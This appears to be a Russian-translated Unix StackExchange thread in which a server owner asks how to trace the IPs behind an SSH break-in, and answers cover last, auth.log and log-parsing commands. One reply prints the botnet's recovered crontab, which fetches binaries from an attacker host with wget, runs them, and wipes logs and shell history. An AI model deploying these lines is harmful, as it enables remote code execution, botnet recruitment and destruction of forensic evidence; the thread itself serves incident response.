История IP-адресов, которые получили доступ к серверу через SSH

42

До моего сведения дошло, что мой сервер был взломан и заражен известным китайским ботнетом.

Это была прототип / тестирующая виртуальная машина с собственным статическим IP-адресом (адрес США), поэтому никакого вреда не было (мне понадобилось время, чтобы понять это).

Теперь я хотел бы знать, какие IP / s использовались для вторжения, чтобы узнать, произошла ли атака из Китая.

Есть ли способ просмотреть историю полученных соединений по ssh на сервере?

Редактировать: система Linux Debian 7

Dominique
источник

Ответы:

45

Посмотрите на вывод lastкоманды и все, что содержит IP-адрес или имя хоста вместо пустого пространства, пришло по сети. Если sshdэто единственный способ сделать это в этой системе, тогда вы идете.

В качестве альтернативы (если это Linux), вы можете проверить /var/log/secure(на дистрибутивах на основе RH) или /var/log/auth.log(на дистрибутивах на основе Debian), где sshdобычно будут отслеживать выполненные соединения, даже если они не приводят к успешным входам в систему (которые бьют utmp/ wtmp, которые это то, что lastбудет читать с). Пример:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(возможно, не обязательно OpenSSH sshd) будет регистрировать эту информацию в/var/adm/messages

РЕДАКТИРОВАТЬ:

@derobert делает отличное замечание. Важно помнить, что в любой системе, если ваша учетная запись суперпользователя скомпрометирована, все ставки отключены, поскольку файлы журнала, такие как /var/log/wtmpили /var/adm/messagesмогут быть изменены злоумышленником. Это может быть смягчено, если вы перемещаете журналы вне сервера в безопасное место.

Например, в одном магазине, в котором я работал, у нас была машина «Audit Vault», которая была защищена так, чтобы получать файлы журнала аудита только с различных серверов в центре обработки данных. Я бы порекомендовал в будущем подобную настройку (так как «У меня есть тестовая машина», похоже, что вы работаете в крупном магазине)

Bratchley
источник
7
Ваш ответ охватывает почти все, поэтому я не хочу добавлять свои собственные ... но, пожалуйста, добавьте что-то вроде: "Если злоумышленник получил root, то в большинстве конфигураций никакие данные регистрации на коробке не могут быть достоверными , поскольку root может легко редактировать логи. "
Дероберт
1
@derobert, я добавил некоторые детали в соответствии с твоим предложением :)
Рамеш,
Подождите, '/ var / log / secure' не в Debian, а в дистрибутивах Red Hat.
Секко
@Secko Отредактировал ответ, чтобы включить оба.
Братчли
14

Есть ли способ просмотреть историю полученных соединений по ssh на сервере?

Это должно дать вам список:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Затем вы можете использовать geoiplookupиз geoip-binпакета перейти от имени хоста или IP-адреса к стране.

Торкель Бьёрнсон-Ланген
источник
Полезно +1. Можете ли вы обновить команду, чтобы показать время и дату?
Эдуард Флоринеску
3
@ Эдуард Флоринеску Извините, мои sedнавыки не тот бог. Чтобы сделать что-то более сложное, используйте Python или специальный анализатор логов. Но вы можете попробовать это:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson-Langen
6

Ну, как и ожидалось, и, как сказал @Joel Davis, все журналы были стерты, но был один файл, о котором упоминал @Ramesh, в котором есть несколько попыток доступа к пользователю root, но несколько раз не удалось ввести правильный пароль, а затем отключение для слишком много повторов.

Я запустил трассировку по трем адресам, два из которых из Китая, а другой из Пакистана; это IP-адреса:

221.120.224.179
116.10.191.218
61.174.51.221

Дополнительная информация о ботнете, который был внедрен в сервер после взлома:

Хакеры редактируют crontab так, чтобы он выполнял 7 исполняемых файлов, которые будут каждые x раз использовать весь ЦП, максимизировать сетевую производительность серверов, а затем просто умрут. Также они добавляют readme в crontab 100 раз, чтобы скрыть добавленные строки, поэтому, когда вы это сделаете, crontab -lвы будете получать спам со спрятанными строками. Чтобы обойти это, я использовал crontab -l | grep -v '^#'и вот вывод этой команды:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Как видите, все файлы журнала очищены, поэтому я не смог получить много информации.

Он отключил весь сервер (все виртуальные машины), вызвав тайм-ауты на сайтах и ​​на Proxmox. Вот график (шипы обозначают бот-сеть, которая активно DDoS'ит и замечает выход из сети): ботнет активность

В результате я буду добавлять весь диапазон китайских IP-адресов в брандмауэр, чтобы заблокировать все соединения (у меня нет китайских пользователей, поэтому мне все равно), я также запрещаю вход в удаленный root и использую длинные сложные пароли. Я также, скорее всего, изменю ssh-порт и буду использовать частные ssh-ключи.

Доминик
источник
3
Это довольно страшные вещи - есть идеи, как они получили доступ к вашей системе? Было ли это просто грубым взломом слабого пароля?
user35581
3

Из этого ответа я вижу приведенную ниже информацию.

Говоря о SSH-серверах, я дам вам решения для командной строки.

Отслеживание пользовательских входов и выходов . Это просто, файл /var/log/auth.logдолжен иметь эту информацию.

Отслеживайте активность этих пользователей : если они несколько невинны, вы можете проверить файл .bash_historyв их домашнем каталоге. Вы увидите список команд, которые они выполнили. Проблема, конечно, в том, что они могут удалить или отредактировать этот файл.

Запретить пользователям удаление журналов . Пользователи не должны касаться auth.log. Чтобы не дать им поиграть bash_history, нужно сделать пару трюков.

Что если пользователю удастся получить root-доступ? : Ты пьян. Если он не совершит ошибку, он сможет скрыть все свои шаги.

Также из этого ответа мы видим IP-адрес клиента, использующего SSH_CLIENTпеременную.

Также из этого ответа я вижу, что история ssh может храниться в этих файлах.

В дополнение к /var/log/lastlog, есть 3 файлов в /var/runи /var/log: utmp, wtmpи btmp, которые держат информацию о текущих логины (и дополнительной информации), исторические и неудачные логины. Смотрите вики для подробного описания. Вы не можете редактировать файлы с обычными редакторами, но можете стереть их.

Рамеш
источник
1

Простейшая команда для входа в систему последних 10 пользователей - это last|head.

Чтобы получить всех пользователей просто используйте lastкоманду

Нихил Катре
источник
1

Эта машина была взломана. Это означает, что любые данные на нем, исторические или текущие, больше нельзя доверять.

Короче, ответ - нет. Вы не можете быть уверены, что нашли исходный адрес из любого файла журнала, записанного на этом аппарате.

Протрите и переустановите. И патч.

roaima
источник
1

Чтобы увидеть только успешные попытки входа с паролем:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'
Vini
источник
1

для Debian тестовый поиск сформулирован немного иначе

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
CRTLBREAK
источник